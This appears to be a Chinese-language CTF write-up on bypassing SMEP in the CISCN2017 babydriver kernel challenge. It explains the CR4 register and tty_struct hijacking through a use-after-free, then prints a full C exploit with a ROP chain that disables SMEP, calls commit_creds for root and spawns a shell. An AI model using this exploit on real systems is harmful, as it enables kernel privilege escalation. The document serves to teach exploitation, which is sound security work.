1. 程式人生 > 實用技巧 >Linux kernel pwn (四): Bypass SMEP

Linux kernel pwn (四): Bypass SMEP

前言

在我的這一篇博文介紹UAF的時候用到的是babydriver那一道題,那篇博文介紹的利用手法是修改cred從而get到root許可權。但是除了這一種手法以外,我們還有另外一種手法:繞過SMEP保護,然後利用ROP。

前置知識

SMEP

smep的全稱是Supervisor Mode Execution Protection,它是核心的一種保護機制,作用是當CPU處於ring0模式的時候,如果執行了使用者空間的程式碼就會觸發頁錯誤,很明現這個保護機制就是為了防止ret2usr攻擊的。
一般遇到核心pwn的時候,可以檢視我們的啟動檔案有沒有開啟我們的SMEP保護:

linux_one@linux-one-PC:~/baby$ grep smep ./boot.sh
qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep -gdb tcp::1234

smep 和 CR4 暫存器

系統根據 CR4 暫存器的值判斷是否開啟 smep 保護,當 CR4 暫存器的第 20 位是 1 時,保護開啟;是 0 時,保護關閉。

例如,當

$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000

時,smep 保護開啟。而 CR4 暫存器是可以通過 mov 指令修改的,因此只需要

mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000

即可關閉 smep 保護。

ptmx && tty_struct && tty_operations

ptmx裝置是tty裝置的一種,當使用open函式開啟時,通過系統呼叫進入核心,建立新的檔案結構體,並執行驅動裝置自實現的open函式。
具體細節可以參考:

https://blog.csdn.net/liushuimpc/article/details/51610941
當一個使用者對這個tty驅動被分配的裝置節點呼叫open時tty核心使用一個指向分配給這個裝置的tty_struct結構的指標呼叫它,也就是說我們在呼叫了open函數了之後會建立一個tty_struct結構體,然而最關鍵的是這個tty_struct也是通過kmalloc申請出來的一個堆空間,而kmalloc與UAF這篇博文講的slab/slub分配器有關。也就是說,這個tty_struct可以被我們所控制。
下面是關於tty_struct結構體的一部分原始碼:

// Linux-4.19.65-source/include/linux/tty.h

/*
 * Where all of the state associated with a tty is kept while the tty
 * is open.  Since the termios state should be kept even if the tty
 * has been closed --- for things like the baud rate, etc --- it is
 * not stored here, but rather a pointer to the real state is stored
 * here.  Possible the winsize structure should have the same
 * treatment, but (1) the default 80x24 is usually right and (2) it's
 * most often used by a windowing system, which will set the correct
 * size each time the window is created or resized anyway.
 * 						- TYT, 9/14/92
 */

struct tty_operations;

struct tty_struct {
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
	int index;

	/* Protects ldisc changes: Lock tty not pty */
	struct ld_semaphore ldisc_sem;
	struct tty_ldisc *ldisc;

	struct mutex atomic_write_lock;
	struct mutex legacy_mutex;
	struct mutex throttle_mutex;
	struct rw_semaphore termios_rwsem;
	struct mutex winsize_mutex;
	spinlock_t ctrl_lock;
	spinlock_t flow_lock;
	/* Termios values are protected by the termios rwsem */
	struct ktermios termios, termios_locked;
	struct termiox *termiox;	/* May be NULL for unsupported */
	char name[64];
	struct pid *pgrp;		/* Protected by ctrl lock */
	struct pid *session;
	unsigned long flags;
	int count;
	struct winsize winsize;		/* winsize_mutex */
	unsigned long stopped:1,	/* flow_lock */
		      flow_stopped:1,
		      unused:BITS_PER_LONG - 2;
	int hw_stopped;
	unsigned long ctrl_status:8,	/* ctrl_lock */
		      packet:1,
		      unused_ctrl:BITS_PER_LONG - 9;
	unsigned int receive_room;	/* Bytes free for queue */
	int flow_change;

	struct tty_struct *link;
	struct fasync_struct *fasync;
	wait_queue_head_t write_wait;
	wait_queue_head_t read_wait;
	struct work_struct hangup_work;
	void *disc_data;
	void *driver_data;
	spinlock_t files_lock;		/* protects tty_files list */
	struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

	int closing;
	unsigned char *write_buf;
	int write_cnt;
	/* If the tty has a pending do_SAK, queue it here - akpm */
	struct work_struct SAK_work;
	struct tty_port *port;
} __randomize_layout;

而在這個結構體中,其中有另一個很有趣的結構體 tty_operations,原始碼如下:

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

可以看到,裡面全是函式指標。
由於tty_struct是通過kzmalloc分配堆記憶體的,那麼也可以通過UAF控制到這個結構體,進而偽造tty_operations結構體,劫持函式呼叫:

fake_tty_struct  fake_tty_operations
+---------+      +----------+
|magic    |  +-->|evil 1    |
+---------+  |   +----------+
|......   |  |   |evil 2    |
|......   |  |   +----------+
+---------+  |   |evil 3    |
|*ops     |--+   +----------+
+---------+      |evil 4    |
|......   |      +----------+
|......   |      |......    |
+---------+      +----------+

那麼我們就可以通過不同的操作(如 write, ioctl 等)來跳轉到不同的 evil 了。

利用思路

因為此題沒有開kaslr保護,所以簡化了我們一些步驟,但是在此方法中是我們前面的UAF,ROP和ret2usr的綜合利用,下面是基本思路:

  1. 利用UAF漏洞,去控制利用tty_struct結構體的空間,修改真實的tty_operations的地址到我們構造的tty_operations;
  2. 構造一個tty_operations,修改其中的write函式為我們的rop;
  3. 利用修改的write函式來劫持程式流;

但是其中需要解決的一個問題是,我們並沒有控制到棧,所以在rop的時候需要想辦法進行棧轉移。
這裡引用師兄的一個做法:
用如下程式碼作測試,將tty_struct->tty_fops->write函式的指標改寫為babyread的地址,最後通過write(fd_tty, *, *)來呼叫到babyread。

//gcc -static -masm=intel -g -o exp2 exp2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

size_t fake_tty_operations[0x20] = {0};
size_t fake_tty_struct[4] = {0};

int main(){
    
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    // change the babydev_struct.device_buf
    // the buf_size = sizeof(struct tty_struct)
    ioctl(fd1, 0x10001, 0x2e0);

    // call babyrelease(), now we have a dangling pointer in fd2
    close(fd1);
    int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    
    read(fd2, fake_tty_struct, 0x18);
    for(int i=0; i<0x20; i++) fake_tty_operations[i] = 0xffffffffffff0000+i ;
    fake_tty_operations[7] = 0xffffffffc0000130; // tty_fops->write = babyread
    fake_tty_struct[3] = (size_t)fake_tty_operations;// fake_struct->tty_fops = fake_tty_operations
    write(fd2, fake_tty_struct, 0x20); // overwrite tty_struct
    write(fd_tty, fake_tty_operations, 0x20); // call tty_fops->write

}

/*
babydriver.ko 0xffffffffc0000000

*/

gdb除錯,在我們的babyread函式下斷點,在第二次呼叫時停下檢視此時的暫存器情況;發現這時候的RAX是我們的fake_tty_operations結構的地址,

然後通過棧回溯,發現函式的跳轉是通過RAX作為基地址加上偏移所得到的:[rax+offset]


所以,我們可以利用 mov rsp, rax等gadget等gadget將棧遷移到fake_tty_operations這裡,然後繼續執行我們構造好的ROP。

gadget的提取

構造ROP鏈就需要gadget。這裡的題目沒有給到vmlinux,所以我們需要自己利用extract-vmlinux 提取:

./extract-vmlinux.sh ./bzImage > ./vmlinux

然後利用ropper或者ROPgadget這個東西去提取我們需要的gadget:

ropper -f ./vmlinux > ./gadget  或者 ROPgadget --binary ./vmlinux > gadget.txt
cat ./gadget.txt | grep "mov cr4"

最終EXP

//CISCN2017-babydriver
//sunxiaokong
//gcc -static -masm=intel -g -o exp2 exp2.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

void get_usr_regs();
int get_kernel_addr();
void root();
void getshell();

size_t usr_cs, usr_ss, usr_rsp, usr_rflags;  // registers of user mode
size_t fake_tty_operations[0x20];
size_t fake_tty_struct[4];
size_t rop_chain[20];
size_t commit_creds;
size_t prepare_kernel_cred;

int main(){
    get_usr_regs();
    get_kernel_addr();

    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    // change the babydev_struct.device_buf
    // the buf_size = sizeof(struct tty_struct)
    ioctl(fd1, 0x10001, 0x2e0);

    // call babyrelease(), now we have a dangling pointer in fd2
    close(fd1);
    int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    
    read(fd2, fake_tty_struct, 0x40);
    fake_tty_struct[3] = (size_t)fake_tty_operations;// fake_struct->tty_fops = fake_tty_operations
    for(int i=0; i<30; i++) fake_tty_operations[i] = 0xffffffff8181bfc5;;
    fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
    // fake_tty_operations[7] = 0xffffffff817a4aba; // push rax; pop rsp; pop rbp ; ret
    fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax ; ret
    fake_tty_operations[1] = (size_t)rop_chain;
    fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
    fake_tty_operations[3] = (size_t)rop_chain;
    
    int i = 0;
    rop_chain[i++] = 0xffffffff810d238d; // pop rdi ; ret
    rop_chain[i++] = 0x6f0;              // SMEP = 0
    rop_chain[i++] = 0xffffffff81004d80; //mov cr4, rdi ; pop rbp ; ret
    rop_chain[i++] = (size_t)rop_chain;
    rop_chain[i++] = (size_t)root;
    rop_chain[i++] = 0xffffffff81063694;      // swapgs; pop rbp; ret;
    rop_chain[i++] = 0;
    rop_chain[i++] = 0xffffffff814e35ef;      // iretq; ret;
    rop_chain[i++] = (size_t)getshell;
    rop_chain[i++] = usr_cs;                /* saved CS */
    rop_chain[i++] = usr_rflags;            /* saved EFLAGS */
    rop_chain[i++] = usr_rsp;
    rop_chain[i++] = usr_ss;
    write(fd2, fake_tty_struct, 0x20); // overwrite tty_struct
    char buf[8] = {0};
    write(fd_tty, buf, 8); // call tty_fops->write
   
}

/* save some regs of user mode */
void get_usr_regs(){
    __asm__(
        "mov usr_cs, cs;"
        "mov usr_ss, ss;"
        "mov usr_rsp, rsp;"
        "pushfq;"
        "pop usr_rflags;"
    );
    printf("[^.^] save regs of user mode, done !!!\n");
}

int get_kernel_addr(){
    char *buf = (char *)malloc(0x50);
    FILE *kallsyms = fopen("/proc/kallsyms", "r");

    while(fgets(buf, 0x50, kallsyms)){
        // fgets:read one line at one time
        if(strstr(buf, "prepare_kernel_cred")){
            sscanf(buf, "%lx", &prepare_kernel_cred);
            printf("[^.^] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
        }

        if(strstr(buf, "commit_creds")){
            sscanf(buf, "%lx", &commit_creds);
            printf("[^.^] commit_creds : 0x%lx\n", commit_creds);
        }

        if(commit_creds && prepare_kernel_cred){
            return 0;
        }
    }
}

void root(){
    (*((void (*)(char *))commit_creds))(
        (*((char* (*)(int))prepare_kernel_cred))(0)
    );
}

void getshell(){
    system("/bin/sh");
}

/*
babydriver.ko 0xffffffffc0000000

0xffffffff814dc0c3 : call [rax+offset]

0xffffffff810539b1 : pop rax ; xchg eax, esp ; retf
retf = pop rip; pop cs

0xffffffff81004d80 : mov cr4, rdi ; pop rbp ; ret

0xffffffff810d238d : pop rdi ; ret

0xffffffff8100ce6e : pop rax ; ret

0xffffffff81171045 : pop rsp ; ret

0xffffffff81020f11 : push rax ; ret

0xffffffff8181bfc5   mov rsp,rax ; dec ebx ; ret

0xffffffff817a4aba : push rax ; adc byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret

0xffffffff814ff52b : push rax ; or byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret

*/

參考

https://www.sunxiaokong.xyz/2020-02-14/lzx-bypass-babysmep/
https://bbs.pediy.com/thread-253455.htm
http://p4nda.top/2018/10/11/ciscn-2017-babydriver/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/bypass_smep-zh/